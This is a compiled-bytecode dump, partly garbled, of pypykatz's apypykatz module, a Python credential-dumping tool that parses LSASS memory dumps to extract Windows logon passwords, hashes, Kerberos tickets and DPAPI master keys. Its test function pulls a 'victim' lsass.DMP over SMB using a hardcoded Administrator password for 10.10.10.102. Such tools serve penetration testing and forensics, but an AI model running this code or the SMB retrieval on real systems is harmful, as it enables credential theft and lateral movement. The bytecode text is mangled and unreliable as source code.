o
    j.                     @   s  d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlmZm	Z	m
Z
mZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZ d dlmZ d dlmZ d dlmZ d dl m!Z! d dl"m#Z# d d	l$m%Z% d d
l&m'Z' G dd dZ(dd Z)dd Z*e+dkre*  dS dS )    N)KatzSystemInfo)CredmanTemplateMsvTemplateMsvDecryptorWdigestTemplateLsaTemplateWdigestDecryptorLiveSspTemplateLiveSspDecryptorSspDecryptorSspTemplateTspkgDecryptorTspkgTemplateDpapiTemplateDpapiDecryptorLsaDecryptorCloudapTemplateCloudapDecryptorKerberosTemplateKerberosDecryptor)LogonSession)logger)UniversalEncoder)AMinidumpFile)CCACHE)Kirbi)__version__c                   @   s   e Zd Zdd Zdd Zdd Zdd Zd	d
 ZedgdfddZ	edgdfddZ
dd Zdd Zdd Zdd Zdd Zdd Zdd Zdd  Zd!d" Zd+d$d%Zd&d' Zdgfd(d)Zd*S ),	apypykatzc                 C   sH   || _ || _g | _d | _d | _d | _d | _i | _g | _g | _	t
 | _d S N)readersysinfocredentialsarchitectureoperating_systembuildnumberlsa_decryptorlogon_sessionsorphaned_credserrorsr   kerberos_ccache)selfr   r     r+   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/apypykatz.py__init__   s   zapypykatz.__init__c                 C   s   i }i |d< | j D ]}| j |  |d |< q	g |d< | jD ]}|d |  qg |d< | jD ]%\}}t|d dt|j	 }t
|  }|d ||f q1|S )Nr&   r'   r(   
)r&   to_dictr'   appendr(   strjoin	traceback	format_tb__traceback__base64	b64encodeencodedecode)r*   tlsocpkgerrerr_strr+   r+   r,   r/   +   s   

zapypykatz.to_dictc                 C   s   t j|  tdddS )N   T)clsindent	sort_keys)jsondumpsr/   r   r*   r+   r+   r,   to_json<   s   zapypykatz.to_jsonc           
      C   sz  d tjd }| jD ]y}| j|  D ]o}|d |d 7 }| jD ]`}| }|d dkrY|d d urXt|d t|d t|d dddddt|d g	}|d |d 7 }q"| }t|d dddddt|d	 t|d
 t|d dg
}|d |d 7 }q"qq| jD ]2\}}t|d d t	
|j }	t|	  }	|d ddddddd|	g	}|d |d 7 }q|S )N:r.   credtypedpapipassword
domainnameusername 	masterkeysha1_masterkeykey_guid_exception_please_report)r2   r   grep_headerr&   to_grep_rowsr'   r/   r1   r(   r3   r4   r5   r6   r7   r8   r9   )
r*   resluidrowcredr:   xr=   r>   r?   r+   r+   r,   to_grep?   s,   

68zapypykatz.to_grepc                 C   s   d}| j D ]}|t| j | d 7 }qt| jdkr,|d7 }| jD ]
}|t|d 7 }q!t| jdkra|d7 }| jD ]&\}}t|d dt|j }t	
|  }|d|d |f 7 }q:|S )Nz== Logon credentials ==
r.   r   z== Orphaned credentials ==
z== Errors ==
z%s %s 
rR   )r&   r1   lenr'   r(   r2   r3   r4   r5   r6   r7   r8   r9   )r*   rU   rV   rX   r=   r>   r?   r+   r+   r,   __str__W   s   

zapypykatz.__str__alli (  c              
      s   zt | I d H }| |}t|}W n ty* } ztd |d }~ww zt	||}|
|I d H  W |S  tyM } z|  |d }~ww )NzMinidump parsing error!)r   parse
get_readerget_buffered_readerr   from_minidump	Exceptionr   	exceptionr   startlog_basic_info)filenamepackages	chunksizeminidumpr   r    emimir+   r+   r,   parse_minidump_filej   s&   

zapypykatz.parse_minidump_filec                    sH   t | I dH }| |}t|}t||}||I dH  |S )z
		Parses LSASS minidump file based on the file object.
		File object can really be any object as longs as 
		it implements read, seek, tell functions with the 
		same parameters as a file object would.

		handle: file like object
		N)r   parse_externalr_   r`   r   ra   r   rd   )handlerg   rh   ri   r   r    rk   r+   r+   r,   parse_minidump_external|   s   


z!apypykatz.parse_minidump_externalc                 C   s   t d t dt  t d| jjj  t d| jj  t d| jj  t d| jj  t d| jj	  t d d	S )
z=
		In case of error, please attach this to the issues page
		z8===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE =====zpypyKatz version: %szCPU arch: %szOS: %szBuildNumber: %szMajorVersion: %s zMSV timestamp: %sz===== BASIC INFO END =====N)
r   infor   r    r"   namer#   r$   major_versionmsv_dll_timestamprF   r+   r+   r,   re      s   
zapypykatz.log_basic_infoc                    sJ   t | j}t| j}t| j|| j|| j}| I d H  |j| _d S r   )	r   get_templater    r   r   r   r%   rd   r&   )r*   credman_templatemsv_templatelogoncred_decryptorr+   r+   r,   get_logoncreds   s   zapypykatz.get_logoncredsc                    sj   t d t| jD ]&}zt| j|| j}| I d H  |	  W n   Y qt d |  S d S )Nz1Testing all available templates! Expect warnings!z@Lucky you! Brutefoce method found a -probably- working template!)
r   debugr   get_template_bruter    r   chooser   acquire_crypto_materialdump)r*   lsa_dec_templatelsa_decr+   r+   r,   get_lsa_bruteforce   s   

zapypykatz.get_lsa_bruteforcec              
      s   zt | j}t| j|| j}| I d H  |  W |S  tyJ } z t	
dt|  |  I d H }|d u r>td|W  Y d }~S d }~ww )Nz?Failed to automatically detect correct LSA template! Reason: %szAll detection methods failed.)r   rt   r    r   r{   r   r|   r}   rb   r   ry   r1   r   )r*   r~   r   rj   r+   r+   r,   get_lsa   s   
zapypykatz.get_lsac                    n   t | j}t| j|| j| j}| I d H  |jD ]}|j| j	v r.| j	|j j
| q| j| qd S r   )r   rt   r    r   r   r%   rd   r!   rV   r&   wdigest_credsr0   r'   )r*   decryptor_template	decryptorrX   r+   r+   r,   get_wdigest      
zapypykatz.get_wdigestc                    r   r   )r   rt   r    r   r   r%   rd   r!   rV   r&   tspkg_credsr0   r'   )r*   tspkg_dec_template	tspkg_decrX   r+   r+   r,   	get_tspkg   r   zapypykatz.get_tspkgc                    r   r   )r   rt   r    r   r   r%   rd   r!   rV   r&   	ssp_credsr0   r'   r*   dec_templatedecrX   r+   r+   r,   get_ssp   r   zapypykatz.get_sspc                    r   r   )r	   rt   r    r
   r   r%   rd   r!   rV   r&   livessp_credsr0   r'   )r*   livessp_dec_templatelivessp_decrX   r+   r+   r,   get_livessp   r   zapypykatz.get_livesspc                    r   r   )r   rt   r    r   r   r%   rd   r!   rV   r&   dpapi_credsr0   r'   r   r+   r+   r,   	get_dpapi   r   zapypykatz.get_dpapiTc                    s   t | j}d}t| j|| j| j|d}| I d H  |jD ]0}|jD ]}|j	D ]}| j
t|j	|  q)q$|j| jv rI| j|j j| q| j| qd S )NF)with_tickets)r   rt   r    r   r   r%   rd   r!   tickets
kirbi_datar)   	add_kirbir   rV   r&   kerberos_credsr0   r'   )r*   r   r   r   rX   ticketfnr+   r+   r,   get_kerberos   s   


zapypykatz.get_kerberosc                    sz   t | j}|d u rd S t| j|| j| j}| I d H  |jD ]}|j| j	v r4| j	|j j
| q!| j| q!d S r   )r   rt   r    r   r   r%   rd   r!   rV   r&   cloudap_credsr0   r'   )r*   cloudap_dec_templatecloudap_decrX   r+   r+   r,   get_cloudap  s   
zapypykatz.get_cloudapc              
      s  |   I d H | _d|v sd|v r5z	|  I d H  W n ty4 } z| jd|f W Y d }~nd }~ww d|v s=d|v raz	|  I d H  W n ty` } z| jd|f W Y d }~nd }~ww d|v smd|v smd|v rd}d|v swd|v ryd}| |I d H  d|v sd|v rz	|  I d H  W n ty } z| jd|f W Y d }~nd }~ww d	|v sd|v rz	| 	 I d H  W n ty } z| jd	|f W Y d }~nd }~ww d
|v sd|v rz	| 
 I d H  W n ty } z| jd
|f W Y d }~nd }~ww d|v sd|v r6z	|  I d H  W n ty5 } z| jd|f W Y d }~nd }~ww d|v s@d|v rgz
|  I d H  W d S  tyf } z| jd|f W Y d }~d S d }~ww d S )Nmsvr]   wdigestkerberoskticketsFTtspkgssplivessprJ   cloudap)r   r%   rx   rb   r(   r0   r   r   r   r   r   r   r   )r*   rg   rj   r   r+   r+   r,   rd     sr   zapypykatz.startN)T)__name__
__module____qualname__r-   r/   rG   rZ   r\   staticmethodrl   ro   re   rx   r   r   r   r   r   r   r   r   r   rd   r+   r+   r+   r,   r      s,    





r   c               	      s   ddl m}  ddlm} dd l}|jd }t| d}| |}| }|	 }|4 I d H 9 |
 I d H \}}	|	d ur?|	||I d H \}}	|	d urO|	t||I d H }
t|
 W d   I d H  d S 1 I d H snw   Y  d S )Nr   )SMBConnectionFactory)SMBFileReader   zksmb2+ntlm-password://TEST\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/C$/Users/victim/Desktop/lsass.DMP)!aiosmb.commons.connection.factoryr   pypykatz.alsadecryptor.asbmfiler   sysargvprintfrom_urlget_connectionget_fileloginopenr   ro   )r   r   r   furlsmburl
connectionsmbfile_r>   rk   r+   r+   r,   amainA  s(   


.r   c                  C   s$   dd l } | jdd tt  d S )Nr   r   )level)loggingbasicConfigasynciorunr   )r   r+   r+   r,   mainZ  s   r   __main__),platformrD   r   r6   r3   pypykatz.commons.commonr   pypykatz.alsadecryptorr   r   r   r   r   r   r	   r
   r   r   r   r   r   r   r   r   r   r   r   -pypykatz.alsadecryptor.packages.msv.decryptorr   pypykatzr   r   minidump.aminidumpfiler   minikerberos.common.ccacher   minikerberos.common.kirbir   pypykatz._versionr   r   r   r   r   r+   r+   r+   r,   <module>   s,   T  '
